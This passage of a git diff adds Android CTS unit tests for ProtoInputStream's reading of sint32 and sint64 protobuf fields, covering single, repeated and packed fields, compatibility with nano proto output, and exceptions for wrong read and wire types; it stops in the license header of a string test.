+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+
+ assertEquals(0, results[0][0]);
+ assertEquals(0, results[0][1]);
+ assertEquals(1, results[1][0]);
+ assertEquals(1, results[1][1]);
+ assertEquals(-1, results[2][0]);
+ assertEquals(-1, results[2][1]);
+ assertEquals(Integer.MIN_VALUE, results[3][0]);
+ assertEquals(Integer.MIN_VALUE, results[3][1]);
+ assertEquals(Integer.MAX_VALUE, results[4][0]);
+ assertEquals(Integer.MAX_VALUE, results[4][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testPackedCompat() throws Exception {
+ testPackedCompat(new int[0]);
+ testPackedCompat(new int[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testPackedCompat(int[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SINT32;
+ final long FIELD_ID = fieldFlags | ((long) 72 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.sint32FieldPacked = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ int[] result = new int[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readInt(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.sint32FieldPacked.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.sint32FieldPacked[i], result[i]);
+ }
+ }
+
+ /**
+ * Test that using the wrong read method throws an exception
+ */
+ public void testBadReadType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SINT32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ };
+
+ ProtoInputStream pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readFloat(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readDouble(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBoolean(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readLong(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBytes(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readString(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+ }
+
+ /**
+ * Test that unexpected wrong wire types will throw an exception
+ */
+ public void testBadWireType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SINT32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 : varint -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ // 2 : fixed64 -> 0x1
+ (byte) 0x11,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 : length delimited -> { 1 }
+ (byte) 0x1a,
+ (byte) 0x01,
+ (byte) 0x01,
+ // 6 : fixed32
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream);
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ try {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ pi.readInt(FIELD_ID_1);
+ // don't fail, varint is ok
+ break;
+ case (int) FIELD_ID_2:
+ pi.readInt(FIELD_ID_2);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_3:
+ pi.readInt(FIELD_ID_3);
+ // don't fail, length delimited is ok (represents packed sint32)
+ break;
+ case (int) FIELD_ID_6:
+ pi.readInt(FIELD_ID_6);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ } catch (WireTypeMismatchException wtme) {
+ // good
+ }
+ }
+ stream.close();
+ }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSInt64Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSInt64Test.java
new file mode 100644
index 0000000..5504230
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSInt64Test.java
@@ -0,0 +1,621 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamSInt64Test extends TestCase {
+
+ public void testRead() throws IOException {
+ testRead(0);
+ testRead(1);
+ testRead(5);
+ }
+
+ private void testRead(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SINT64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+ final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+ final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, not written
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x02,
+ // 8 -> Integer.MAX_VALUE
+ (byte) 0x40,
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ // 3 -> -1
+ (byte) 0x18,
+ (byte) 0x01,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x20,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x28,
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ // 6 -> Long.MIN_VALUE
+ (byte) 0x30,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 7 -> Long.MAX_VALUE
+ (byte) 0x38,
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ long[] results = new long[7];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ fail("Should never reach this");
+ break;
+ case (int) FIELD_ID_2:
+ results[1] = pi.readLong(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2] = pi.readLong(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3] = pi.readLong(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4] = pi.readLong(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ results[5] = pi.readLong(FIELD_ID_6);
+ break;
+ case (int) FIELD_ID_7:
+ results[6] = pi.readLong(FIELD_ID_7);
+ break;
+ case (int) FIELD_ID_8:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(0, results[0]);
+ assertEquals(1, results[1]);
+ assertEquals(-1, results[2]);
+ assertEquals(Integer.MIN_VALUE, results[3]);
+ assertEquals(Integer.MAX_VALUE, results[4]);
+ assertEquals(Long.MIN_VALUE, results[5]);
+ assertEquals(Long.MAX_VALUE, results[6]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testReadCompat() throws Exception {
+ testReadCompat(0);
+ testReadCompat(1);
+ testReadCompat(-1);
+ testReadCompat(Integer.MIN_VALUE);
+ testReadCompat(Integer.MAX_VALUE);
+ testReadCompat(Long.MIN_VALUE);
+ testReadCompat(Long.MAX_VALUE);
+ }
+
+ /**
+ * Implementation of testReadCompat with a given value.
+ */
+ private void testReadCompat(long val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SINT64;
+ final long FIELD_ID = fieldFlags | ((long) 80 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.sint64Field = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ long result = 0; // start off with default value
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result = pi.readLong(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.sint64Field, result);
+ }
+
+ public void testRepeated() throws IOException {
+ testRepeated(0);
+ testRepeated(1);
+ testRepeated(5);
+ }
+
+ private void testRepeated(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SINT64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+ final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+ final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x08,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x02,
+ // 3 -> -1
+ (byte) 0x18,
+ (byte) 0x01,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x20,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x28,
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ // 6 -> Long.MIN_VALUE
+ (byte) 0x30,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 7 -> Long.MAX_VALUE
+ (byte) 0x38,
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ // 8 -> Integer.MAX_VALUE
+ (byte) 0x40,
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+
+
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x08,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x02,
+ // 3 -> -1
+ (byte) 0x18,
+ (byte) 0x01,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x20,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x28,
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ // 6 -> Long.MIN_VALUE
+ (byte) 0x30,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 7 -> Long.MAX_VALUE
+ (byte) 0x38,
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ long[][] results = new long[7][2];
+ int[] indices = new int[7];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readLong(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readLong(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readLong(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readLong(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readLong(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ results[5][indices[5]++] = pi.readLong(FIELD_ID_6);
+ break;
+ case (int) FIELD_ID_7:
+ results[6][indices[6]++] = pi.readLong(FIELD_ID_7);
+ break;
+ case (int) FIELD_ID_8:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(0, results[0][0]);
+ assertEquals(0, results[0][1]);
+ assertEquals(1, results[1][0]);
+ assertEquals(1, results[1][1]);
+ assertEquals(-1, results[2][0]);
+ assertEquals(-1, results[2][1]);
+ assertEquals(Integer.MIN_VALUE, results[3][0]);
+ assertEquals(Integer.MIN_VALUE, results[3][1]);
+ assertEquals(Integer.MAX_VALUE, results[4][0]);
+ assertEquals(Integer.MAX_VALUE, results[4][1]);
+ assertEquals(Long.MIN_VALUE, results[5][0]);
+ assertEquals(Long.MIN_VALUE, results[5][1]);
+ assertEquals(Long.MAX_VALUE, results[6][0]);
+ assertEquals(Long.MAX_VALUE, results[6][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testRepeatedCompat() throws Exception {
+ testRepeatedCompat(new long[0]);
+ testRepeatedCompat(new long[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testRepeatedCompat(long[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SINT64;
+ final long FIELD_ID = fieldFlags | ((long) 81 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.sint64FieldRepeated = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ long[] result = new long[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readLong(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.sint64FieldRepeated.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.sint64FieldRepeated[i], result[i]);
+ }
+ }
+
+ public void testPacked() throws IOException {
+ testPacked(0);
+ testPacked(1);
+ testPacked(5);
+ }
+
+ private void testPacked(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_SINT64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+ final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+ final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x0a,
+ (byte) 0x02,
+ (byte) 0x00,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x12,
+ (byte) 0x02,
+ (byte) 0x02,
+ (byte) 0x02,
+ // 8 -> Integer.MAX_VALUE
+ (byte) 0x42,
+ (byte) 0x0a,
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ // 3 -> -1
+ (byte) 0x1a,
+ (byte) 0x02,
+ (byte) 0x01,
+ (byte) 0x01,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x22,
+ (byte) 0x0a,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x2a,
+ (byte) 0x0a,
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ // 6 -> Long.MIN_VALUE
+ (byte) 0x32,
+ (byte) 0x14,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 7 -> Long.MAX_VALUE
+ (byte) 0x3a,
+ (byte) 0x14,
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ long[][] results = new long[7][2];
+ int[] indices = new int[7];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readLong(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readLong(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readLong(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readLong(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readLong(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ results[5][indices[5]++] = pi.readLong(FIELD_ID_6);
+ break;
+ case (int) FIELD_ID_7:
+ results[6][indices[6]++] = pi.readLong(FIELD_ID_7);
+ break;
+ case (int) FIELD_ID_8:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(0, results[0][0]);
+ assertEquals(0, results[0][1]);
+ assertEquals(1, results[1][0]);
+ assertEquals(1, results[1][1]);
+ assertEquals(-1, results[2][0]);
+ assertEquals(-1, results[2][1]);
+ assertEquals(Integer.MIN_VALUE, results[3][0]);
+ assertEquals(Integer.MIN_VALUE, results[3][1]);
+ assertEquals(Integer.MAX_VALUE, results[4][0]);
+ assertEquals(Integer.MAX_VALUE, results[4][1]);
+ assertEquals(Long.MIN_VALUE, results[5][0]);
+ assertEquals(Long.MIN_VALUE, results[5][1]);
+ assertEquals(Long.MAX_VALUE, results[6][0]);
+ assertEquals(Long.MAX_VALUE, results[6][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testPackedCompat() throws Exception {
+ testPackedCompat(new long[0]);
+ testPackedCompat(new long[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testPackedCompat(long[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SINT64;
+ final long FIELD_ID = fieldFlags | ((long) 82 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.sint64FieldPacked = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ long[] result = new long[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readLong(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.sint64FieldPacked.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.sint64FieldPacked[i], result[i]);
+ }
+ }
+
+ /**
+ * Test that using the wrong read method throws an exception
+ */
+ public void testBadReadType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SINT64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ };
+
+ ProtoInputStream pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readFloat(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readDouble(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readInt(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBoolean(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBytes(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readString(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+ }
+
+ /**
+ * Test that unexpected wrong wire types will throw an exception
+ */
+ public void testBadWireType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SINT64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 : varint -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ // 2 : fixed64 -> 0x1
+ (byte) 0x11,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 : length delimited -> { 1 }
+ (byte) 0x1a,
+ (byte) 0x01,
+ (byte) 0x01,
+ // 6 : fixed32
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream);
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ try {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ pi.readLong(FIELD_ID_1);
+ // don't fail, varint is ok
+ break;
+ case (int) FIELD_ID_2:
+ pi.readLong(FIELD_ID_2);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_3:
+ pi.readLong(FIELD_ID_3);
+ // don't fail, length delimited is ok (represents packed sint64)
+ break;
+ case (int) FIELD_ID_6:
+ pi.readLong(FIELD_ID_6);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ } catch (WireTypeMismatchException wtme) {
+ // good
+ }
+ }
+ stream.close();
+ }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamStringTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamStringTest.java
new file mode 100644
index 0000000..2a0250a
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamStringTest.java
@@ -0,0 +1,404 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
